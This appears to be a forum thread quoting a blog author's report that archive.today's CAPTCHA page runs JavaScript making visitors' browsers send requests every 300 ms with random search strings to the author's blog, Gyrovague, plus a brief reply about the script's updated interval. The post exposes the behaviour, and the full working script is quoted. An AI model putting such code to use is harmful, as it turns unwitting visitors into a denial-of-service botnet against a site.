Around January 11, 2026, archive.today (aka archive.is, archive.md, etc) started using its users as proxies to conduct a distributed denial of service (DDOS) attack against Gyrovague, my personal blog. All users encountering archive.today’s CAPTCHA page currently load and execute the following Javascript

        setInterval(function() {
            fetch("https://gyrovague.com/?s" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);
you are viewing a single comment's thread
view the rest of the comments
[–] [S] 1 point 3 months ago

I've provided the script at the time this article was posted. You can see that the script is still there but with an updated interval.

relies on user agents to fetch content

huh?

  • source
  • parent